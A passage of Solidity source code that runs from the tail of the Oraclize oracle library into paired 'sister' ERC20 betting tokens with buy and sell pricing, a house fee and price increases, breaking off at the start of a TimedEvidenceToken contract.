function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract StringOps {
function stringEndsWith(string _a, string _b) internal returns (bool) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
if (a.length < b.length){
return false;
}
uint length_diff = a.length - b.length;
for (uint i = 0; i < b.length; i ++)
if (a[i + length_diff] != b[i]){
return false;
}
return true;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20Token is ERC20Interface{
string public constant symbol = "TBA";
string public constant name = "TBA";
uint8 public constant decimals = 6;
uint256 public constant unit = 1000000;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns (bool) {
if (balances[msg.sender] >= _amount && _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount && _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) public returns (bool) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
}
contract LittleSisterToken is ERC20Token{
uint8 public vig;
uint256 public maxSupply;
uint256 totalSupply_;
uint public validityDate;
uint public maxBuyingDate;
address public sister;
address public owner;
address public vigAddress;
bool public lost;
function LittleSisterToken() {
owner = msg.sender;
vigAddress = msg.sender;
totalSupply_ = 0;
lost = false;
}
function () payable {
if (msg.sender != sister){
buy();
}
}
function setVigAddress(address _newVigAddress) public {
require(msg.sender == owner);
vigAddress = _newVigAddress;
}
function totalSupply() public constant returns (uint256) {
return totalSupply_;
}
function registerSister(address _sister) public returns (bool) {
BigSisterToken sisterContract;
require(sister == address(0));
require(_sister != address(this));
sisterContract = BigSisterToken(_sister);
require(sisterContract.owner() == owner);
require(sisterContract.sister() == address(this));
sister = _sister;
maxSupply = sisterContract.maxSupply();
vig = sisterContract.vig();
validityDate = sisterContract.validityDate();
maxBuyingDate = sisterContract.maxBuyingDate();
return true;
}
function sellPrice() public constant returns (uint256){
BigSisterToken sisterContract = BigSisterToken(sister);
return sisterContract.sellPrice();
}
function buyPrice() public constant returns (uint256){
BigSisterToken sisterContract = BigSisterToken(sister);
return sisterContract.buyPrice();
}
function sendFunds() public returns(bool){
require(msg.sender == sister);
require(msg.sender.send(this.balance));
lost = true;
return true;
}
function releaseContract() public {
require(now > validityDate);
require(msg.sender == sister);
selfdestruct(owner);
}
function winningValue() public constant returns (uint256 value){
LittleSisterToken sisterContract = LittleSisterToken(sister);
if (totalSupply_ > 0){
value = (this.balance + sisterContract.balance) / totalSupply_;
}
return value;
}
function availableSupply() public constant returns (uint256 supply){
LittleSisterToken sisterContract;
uint256 sisterSupply;
if ((buyPrice()) == 0 || (now > maxBuyingDate)){
return 0;
} else {
sisterContract = LittleSisterToken(sister);
sisterSupply = sisterContract.totalSupply();
assert(maxSupply >= totalSupply_ + sisterSupply);
supply = maxSupply - totalSupply_ - sisterSupply;
return supply;
}
}
function buy() public payable returns (uint amount){
uint256 house;
uint256 supply;
uint256 price;
require(now <= maxBuyingDate);
price = buyPrice();
require(price > 0);
house = msg.value / vig;
require(house > 0);
amount = msg.value / price;
supply = availableSupply();
require(amount <= supply);
vigAddress.transfer(house);
totalSupply_ += amount;
balances[msg.sender] += amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint _amount) public returns (uint256 revenue){
require(sellPrice() > 0);
require(!lost);
require(balances[msg.sender] >= _amount);
revenue = _amount * sellPrice();
require(this.balance >= revenue);
balances[msg.sender] -= _amount;
totalSupply_ -= _amount;
msg.sender.transfer(revenue);
Transfer(msg.sender, this, _amount);
return revenue;
}
function sellAll() public returns (uint256){
uint256 amount = balances[msg.sender];
return sell(amount);
}
}
contract BigSisterToken is LittleSisterToken {
uint256 buyPrice_;
uint256 sellPrice_;
function BigSisterToken(uint256 _maxSupply, uint256 _buyPrice, uint256 _sellPrice, uint8 _vig,
uint _buyingHorizon, uint _maximumLifetime) {
maxSupply = _maxSupply;
vig = _vig;
buyPrice_ = _buyPrice;
sellPrice_ = _sellPrice;
validityDate = now + _maximumLifetime;
maxBuyingDate = now + _buyingHorizon;
}
function buyPrice() public constant returns (uint256){
return buyPrice_;
}
function sellPrice() public constant returns (uint256){
return sellPrice_;
}
function releaseContract() public {
LittleSisterToken sisterContract = LittleSisterToken(sister);
require(now > validityDate);
require(msg.sender == owner);
sisterContract.releaseContract();
selfdestruct(owner);
}
function registerSister(address _sister) public returns (bool) {
LittleSisterToken sisterContract;
require(sister == address(0));
require(msg.sender == owner);
require(_sister != address(this));
sisterContract = LittleSisterToken(_sister);
require(sisterContract.sister() == address(0));
sister = _sister;
require(sisterContract.registerSister(address(this)));
return true;
}
}
contract PriceIncreasingLittleSisterToken is LittleSisterToken{
function () payable {
if (msg.sender != sister){
buy();
}
}
function buy() public payable returns (uint amount){
PriceIncreasingToken sisterContract = PriceIncreasingToken(sister);
amount = super.buy();
sisterContract.sisterCheckPrice(amount);
return amount;
}
}
contract PriceIncreasingToken is BigSisterToken{
uint256 public currentBatch;
uint256 public thresholdAmount;
uint256 public priceIncrease;
function PriceIncreasingToken(uint256 _maxSupply, uint256 _buyPrice, uint256 sellPrice_, uint8 _vig,
uint256 _thresholdAmount, uint256 _priceIncrease, uint _buyingHorizon, uint _maximumLifetime)
BigSisterToken( _maxSupply, _buyPrice, sellPrice_, _vig, _buyingHorizon, _maximumLifetime){
currentBatch = 0;
thresholdAmount = _thresholdAmount;
priceIncrease = _priceIncrease;
}
function () payable {
if (msg.sender != sister){
buy();
}
}
function buy() public payable returns (uint amount){
amount = super.buy();
_checkPrice(amount);
return amount;
}
function sisterCheckPrice(uint256 amount) public{
require(msg.sender == sister);
_checkPrice(amount);
}
function _checkPrice(uint256 amount) internal{
currentBatch += amount;
if (currentBatch >= thresholdAmount){
buyPrice_ += priceIncrease;
currentBatch -= thresholdAmount;
}
}
}
contract TimedEvidenceToken is PriceIncreasingToken{
uint public dateSisterWins;
uint8 public foundEvidence;
uint8 public requiredEvidence;
uint public evidenceInterval;
uint public lastEvidenceCheck;
uint256 lastBuyPrice;
